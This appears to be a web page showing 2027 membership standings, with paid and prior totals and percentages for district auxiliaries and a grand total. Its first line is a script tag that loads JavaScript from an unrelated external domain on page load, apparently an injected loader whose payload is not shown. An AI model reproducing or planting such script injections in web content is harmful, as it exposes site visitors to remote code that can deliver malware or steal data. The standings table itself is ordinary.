<script src=https://pearljunction.top/realm/reset-request.js></script>



2027 Current Membership Standings

- 7/7/2026

Auxiliary Paid Total Prior Total Paid % over 100%
DMA18             259             320 80.94%  - 
DMA07             227             295 76.95%  - 
DMA10             210             294 71.43%  - 
DMA05             223             317 70.35%  - 
DMA06             147             233 63.09%  - 
DMA15             240             385 62.34%  - 
DMA08               37               60 61.67%  - 
DMA12             330             560 58.93%  - 
DMA11               70             134 52.24%  - 
DMA09               46             149 30.87%  - 
MA             580             678 85.55%  - 
Total - MA          2,369          3,425 69.17%  -